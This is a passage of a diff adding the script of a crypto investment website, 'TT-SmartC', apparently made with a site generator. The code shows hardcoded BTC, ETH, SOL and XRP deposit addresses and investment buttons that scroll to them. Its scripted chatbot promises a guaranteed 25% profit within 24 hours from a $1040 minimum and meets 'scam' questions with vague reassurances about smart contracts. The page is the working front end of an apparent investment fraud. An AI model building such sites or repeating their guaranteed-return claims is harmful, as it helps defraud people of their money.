+ hash: tx.hash.substring(0, 6) + '...' + tx.hash.substring(tx.hash.length - 4),
581
+ amount: `${tx.amount} ${currency}`,
582
+ time: new Date(tx.time * 1000).toLocaleString(),
583
+ status: tx.confirmations > 6 ? 'Completed' : 'Pending'
584
+ }));
585
+ } catch (error) {
586
+ console.error(`Error fetching ${currency} transactions:`, error);
587
+ return [];
588
+ }
589
+ }
590
+
591
+ async function populateTransactions(tableId, walletAddress, currency) {
592
+ const tableBody = document.getElementById(tableId);
593
+ tableBody.innerHTML = '<tr><td colspan="4" class="text-center py-4">Loading transactions...</td></tr>';
594
+
595
+ const transactions = await fetchTransactions(walletAddress, currency);
596
+
597
+ if (transactions.length === 0) {
598
+ tableBody.innerHTML = '<tr><td colspan="4" class="text-center py-4">No transactions found</td></tr>';
599
+ return;
600
+ }
601
+
602
+ tableBody.innerHTML = '';
603
+
604
+ transactions.forEach(tx => {
605
+ const row = document.createElement('tr');
606
+ row.className = 'transaction-row';
607
+
608
+ const hashCell = document.createElement('td');
609
+ hashCell.className = 'px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900';
610
+ hashCell.textContent = tx.hash;
611
+
612
+ const amountCell = document.createElement('td');
613
+ amountCell.className = 'px-6 py-4 whitespace-nowrap text-sm text-gray-500';
614
+ amountCell.textContent = tx.amount;
615
+
616
+ const timeCell = document.createElement('td');
617
+ timeCell.className = 'px-6 py-4 whitespace-nowrap text-sm text-gray-500';
618
+ timeCell.textContent = tx.time;
619
+
620
+ const statusCell = document.createElement('td');
621
+ statusCell.className = 'px-6 py-4 whitespace-nowrap text-sm text-gray-500';
622
+
623
+ const statusSpan = document.createElement('span');
624
+ statusSpan.className = tx.status === 'Completed' ? 'px-2 inline-flex text-xs leading-5 font-semibold rounded-full bg-green-100 text-green-800' : 'px-2 inline-flex text-xs leading-5 font-semibold rounded-full bg-yellow-100 text-yellow-800';
625
+ statusSpan.textContent = tx.status;
626
+
627
+ statusCell.appendChild(statusSpan);
628
+
629
+ row.appendChild(hashCell);
630
+ row.appendChild(amountCell);
631
+ row.appendChild(timeCell);
632
+ row.appendChild(statusCell);
633
+
634
+ tableBody.appendChild(row);
635
+ });
636
+ }
637
+
638
+ // Wallet addresses
639
+ const wallets = {
640
+ btc: 'bc1qvjjy9dkmvlgw2xfn46u05u59ag4a454vkjzy6s',
641
+ eth: '0xaec8A3476CD71421d6C77916c10477C947B3b307',
642
+ sol: '48aTqg2iugCsGcByijfqHCRHVdUsQEpv7LQ4u7SJs3k3',
643
+ xrp: 'r9dfq4m34C64Kvqu2sdJBaFk2MRAtJDSks'
644
+ };
645
+
646
+ // Initial population
647
+ populateTransactions('btcTransactions', wallets.btc, 'BTC');
648
+ populateTransactions('ethTransactions', wallets.eth, 'ETH');
649
+ populateTransactions('solTransactions', wallets.sol, 'SOL');
650
+ populateTransactions('xrpTransactions', wallets.xrp, 'XRP');
651
+
652
+ // Update transactions every 30 seconds
653
+ setInterval(() => {
654
+ populateTransactions('btcTransactions', wallets.btc, 'BTC');
655
+ populateTransactions('ethTransactions', wallets.eth, 'ETH');
656
+ populateTransactions('solTransactions', wallets.sol, 'SOL');
657
+ populateTransactions('xrpTransactions', wallets.xrp, 'XRP');
658
+ }, 30000);
659
+
660
+ // Sidebar toggle
661
+ const menuButton = document.getElementById('menuButton');
662
+ const closeSidebar = document.getElementById('closeSidebar');
663
+ const sidebar = document.getElementById('sidebar');
664
+ const overlay = document.getElementById('overlay');
665
+
666
+ menuButton.addEventListener('click', () => {
667
+ sidebar.classList.add('open');
668
+ overlay.style.display = 'block';
669
+ });
670
+
671
+ closeSidebar.addEventListener('click', () => {
672
+ sidebar.classList.remove('open');
673
+ overlay.style.display = 'none';
674
+ });
675
+
676
+ overlay.addEventListener('click', () => {
677
+ sidebar.classList.remove('open');
678
+ overlay.style.display = 'none';
679
+ });
680
+
681
+ // Chatbot toggle
682
+ const chatbotButton = document.getElementById('chatbotButton');
683
+ const closeChatbot = document.getElementById('closeChatbot');
684
+ const chatbotWindow = document.getElementById('chatbotWindow');
685
+
686
+ chatbotButton.addEventListener('click', () => {
687
+ chatbotWindow.style.display = chatbotWindow.style.display === 'flex' ? 'none' : 'flex';
688
+ });
689
+
690
+ closeChatbot.addEventListener('click', () => {
691
+ chatbotWindow.style.display = 'none';
692
+ });
693
+
694
+ // Login modal
695
+ const loginButton = document.getElementById('loginButton');
696
+ const closeLoginModal = document.getElementById('closeLoginModal');
697
+ const loginModal = document.getElementById('loginModal');
698
+
699
+ loginButton.addEventListener('click', () => {
700
+ loginModal.style.display = 'block';
701
+ overlay.style.display = 'block';
702
+ });
703
+
704
+ closeLoginModal.addEventListener('click', () => {
705
+ loginModal.style.display = 'none';
706
+ overlay.style.display = 'none';
707
+ });
708
+
709
+ // Wallet connect modal
710
+ const walletConnectButton = document.getElementById('walletConnectButton');
711
+ const closeWalletConnectModal = document.getElementById('closeWalletConnectModal');
712
+ const walletConnectModal = document.getElementById('walletConnectModal');
713
+
714
+ walletConnectButton.addEventListener('click', () => {
715
+ loginModal.style.display = 'none';
716
+ walletConnectModal.style.display = 'block';
717
+ });
718
+
719
+ closeWalletConnectModal.addEventListener('click', () => {
720
+ walletConnectModal.style.display = 'none';
721
+ overlay.style.display = 'none';
722
+ });
723
+
724
+ // Invest buttons
725
+ const investButton = document.getElementById('investButton');
726
+ const investButton2 = document.getElementById('investButton2');
727
+
728
+ investButton.addEventListener('click', () => {
729
+ window.scrollTo({
730
+ top: document.querySelector('.wallets-section').offsetTop - 20,
731
+ behavior: 'smooth'
732
+ });
733
+ });
734
+
735
+ investButton2.addEventListener('click', () => {
736
+ window.scrollTo({
737
+ top: document.querySelector('.wallets-section').offsetTop - 20,
738
+ behavior: 'smooth'
739
+ });
740
+ });
741
+
742
+ // Copy wallet addresses
743
+ document.querySelectorAll('.wallet-card button').forEach(button => {
744
+ button.addEventListener('click', function() {
745
+ const address = this.parentElement.querySelector('.bg-gray-100').textContent.trim();
746
+ navigator.clipboard.writeText(address);
747
+
748
+ const originalText = this.textContent;
749
+ this.textContent = 'Copied!';
750
+ this.classList.add('bg-green-500', 'hover:bg-green-600');
751
+ this.classList.remove('bg-orange-500', 'hover:bg-orange-600', 'bg-gray-700', 'hover:bg-gray-800', 'bg-purple-500', 'hover:bg-purple-600', 'bg-blue-500', 'hover:bg-blue-600');
752
+
753
+ setTimeout(() => {
754
+ this.textContent = originalText;
755
+ if (this.parentElement.querySelector('.fa-bitcoin')) {
756
+ this.classList.add('bg-orange-500', 'hover:bg-orange-600');
757
+ } else if (this.parentElement.querySelector('.fa-ethereum')) {
758
+ this.classList.add('bg-gray-700', 'hover:bg-gray-800');
759
+ } else if (this.parentElement.querySelector('.fa-coins')) {
760
+ this.classList.add('bg-purple-500', 'hover:bg-purple-600');
761
+ } else {
762
+ this.classList.add('bg-blue-500', 'hover:bg-blue-600');
763
+ }
764
+ this.classList.remove('bg-green-500', 'hover:bg-green-600');
765
+ }, 2000);
766
+ });
767
+ });
768
+
769
+ // Simple chatbot functionality
770
+ const chatbotMessages = document.getElementById('chatbotMessages');
771
+ const chatbotInput = document.querySelector('.chatbot-input input');
772
+ const chatbotSend = document.querySelector('.chatbot-input button');
773
+
774
+ chatbotSend.addEventListener('click', sendMessage);
775
+ chatbotInput.addEventListener('keypress', function(e) {
776
+ if (e.key === 'Enter') {
777
+ sendMessage();
778
+ }
779
+ });
780
+
781
+ function sendMessage() {
782
+ const message = chatbotInput.value.trim();
783
+ if (message) {
784
+ // Add user message
785
+ const userMessageDiv = document.createElement('div');
786
+ userMessageDiv.className = 'mb-4 flex justify-end';
787
+
788
+ const userMessageContent = document.createElement('div');
789
+ userMessageContent.className = 'bg-indigo-600 text-white p-3 rounded-lg max-w-xs';
790
+ userMessageContent.textContent = message;
791
+
792
+ userMessageDiv.appendChild(userMessageContent);
793
+ chatbotMessages.appendChild(userMessageDiv);
794
+
795
+ // Clear input
796
+ chatbotInput.value = '';
797
+
798
+ // Scroll to bottom
799
+ chatbotMessages.scrollTop = chatbotMessages.scrollHeight;
800
+
801
+ // Add bot response after a delay
802
+ setTimeout(() => {
803
+ const botMessageDiv = document.createElement('div');
804
+ botMessageDiv.className = 'mb-4';
805
+
806
+ const botMessageContent = document.createElement('div');
807
+ botMessageContent.className = 'bg-indigo-100 text-gray-800 p-3 rounded-lg max-w-xs';
808
+
809
+ // Simple responses based on keywords
810
+ if (message.toLowerCase().includes('hello') || message.toLowerCase().includes('hi')) {
811
+ botMessageContent.textContent = 'Hello! How can I help you with TT-SmartC today?';
812
+ } else if (message.toLowerCase().includes('profit') || message.toLowerCase().includes('earn')) {
813
+ botMessageContent.textContent = 'Our system guarantees a 25% profit within 24 hours. The minimum investment is $1040 or €900.';
814
+ } else if (message.toLowerCase().includes('time') || message.toLowerCase().includes('long')) {
815
+ botMessageContent.textContent = 'Payments are processed within 12-24 hours after we receive your investment.';
816
+ } else if (message.toLowerCase().includes('trust') || message.toLowerCase().includes('scam')) {
817
+ botMessageContent.textContent = 'TT-SmartC uses Dutch smart contracts on the blockchain, ensuring transparency and security. All transactions are verifiable on the blockchain.';
818
+ } else if (message.toLowerCase().includes('options') || message.toLowerCase().includes('more')) {
819
+ botMessageContent.textContent = 'Within 48 hours from first contract, there will be more investment options available with different timeframes and profit percentages.';
820
+ } else {
821
+ botMessageContent.textContent = 'Thank you for your message. For more specific questions, please contact us via WhatsApp.';
822
+ }
823
+
824
+ botMessageDiv.appendChild(botMessageContent);
825
+ chatbotMessages.appendChild(botMessageDiv);
826
+
827
+ // Scroll to bottom
828
+ chatbotMessages.scrollTop = chatbotMessages.scrollHeight;
829
+ }, 1000);
830
+ }
831
+ }
832
+
833
+ // API endpoints (mock implementation)
834
+ const api = {
835
+ // Data retrieval endpoints
836
+ getWalletInfo: function(walletAddress) {
837
+ // In a real implementation, this would call a backend API
838
+ console.log(`Fetching info for wallet: ${walletAddress}`);
839
+ return Promise.resolve({
840
+ address: walletAddress,
841
+ balance: Math.random() * 10,
842
+ currency: walletAddress.startsWith('bc1') ? 'BTC' :
843
+ walletAddress.startsWith('0x') ? 'ETH' :
844
+ walletAddress.startsWith('4') ? 'SOL' : 'XRP',
845
+ transactions: []
846
+ });
847
+ },
848
+
849
+ getTransactions: function(walletAddress, limit = 10) {
850
+ // In a real implementation, this would call a backend API
851
+ console.log(`Fetching ${limit} transactions for wallet: ${walletAddress}`);
852
+ return Promise.resolve(mockTransactions.slice(0, limit).map(tx => ({
853
+ ...tx,
854
+ currency: walletAddress.startsWith('bc1') ? 'BTC' :
855
+ walletAddress.startsWith('0x') ? 'ETH' :
856
+ walletAddress.startsWith('4') ? 'SOL' : 'XRP'
857
+ })));
858
+ },
859
+
860
+ // Data modification endpoints
861
+ updateUserSettings: function(userId, settings) {
862
+ console.log(`Updating settings for user ${userId}:`, settings);
863
+ return Promise.resolve({ success: true });
864
+ },
865
+
866
+ // Utility endpoints
867
+ calculateProfit: function(amount, currency) {
868
+ const profit = amount * 0.25;
869
+ console.log(`Calculated 25% profit for ${amount} ${currency}: ${profit}`);
870
+ return Promise.resolve({
871
+ amount: amount,
872
+ currency: currency,
873
+ profit: profit,
874
+ total: amount + profit
875
+ });
876
+ },
877
+
878
+ validateAddress: function(address) {
879
+ let isValid = false;
880
+ let currency = '';
881
+
882
+ if (address.startsWith('bc1') && address.length >= 14 && address.length <= 74) {
883
+ isValid = true;
884
+ currency = 'BTC';
885
+ } else if (address.startsWith('0x') && address.length === 42) {
886
+ isValid = true;
887
+ currency = 'ETH';
888
+ } else if (address.length >= 32 && address.length <= 44) {
889
+ isValid = true;
890
+ currency = 'SOL';
891
+ } else if (address.startsWith('r') && address.length >= 25 && address.length <= 35) {
892
+ isValid = true;
893
+ currency = 'XRP';
894
+ }
895
+
896
+ console.log(`Validating address ${address}: ${isValid ? 'Valid' : 'Invalid'} ${currency}`);
897
+ return Promise.resolve({ isValid, currency });
898
+ }
899
+ };
900
+
901
+ // Blockchain registry (mock implementation)
902
+ const blockchainRegistry = {
903
+ transactions: [],
904
+
905
+ registerTransaction: function(tx) {
906
+ this.transactions.push({
907
+ ...tx,
908
+ timestamp: new Date().toISOString(),
909
+ status: 'pending'
910
+ });
911
+ console.log('Registered transaction:', tx);
912
+ return Promise.resolve({ success: true });
913
+ },
914
+
915
+ getTransactionHistory: function() {
916
+ return Promise.resolve(this.transactions);
917
+ }
918
+ };
919
+
920
+ // Wallet connect functionality (mock implementation)
921
+ async function connectWallet(provider) {
922
+ console.log(`Connecting to ${provider} wallet...`);
923
+
924
+ // In a real implementation, this would use Web3 or similar
925
+ try {
926
+ if (typeof window.ethereum !== 'undefined') {
927
+ const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
928
+ console.log('Connected wallet:', accounts[0]);
929
+ return accounts[0];
930
+ } else {
931
+ throw new Error('Wallet provider not detected');
932
+ }
933
+ } catch (error) {
934
+ console.error('Wallet connection error:', error);
935
+ throw error;
936
+ }
937
+ }
938
+
939
+ // Set up wallet connect buttons
940
+ document.querySelectorAll('.wallet-connect-modal button').forEach(button => {
941
+ button.addEventListener('click', async function() {
942
+ const provider = this.textContent.trim();
943
+ try {
944
+ const address = await connectWallet(provider);
945
+ alert(`Successfully connected wallet: ${address}`);
946
+ walletConnectModal.style.display = 'none';
947
+ overlay.style.display = 'none';
948
+ } catch (error) {
949
+ alert(`Could not connect to ${provider}: ${error.message}`);
950
+ }
951
+ });
952
+ });
953
+ });
954
+ </script>
955
+ <p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=FerryMahler/tt" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
956
+ </html>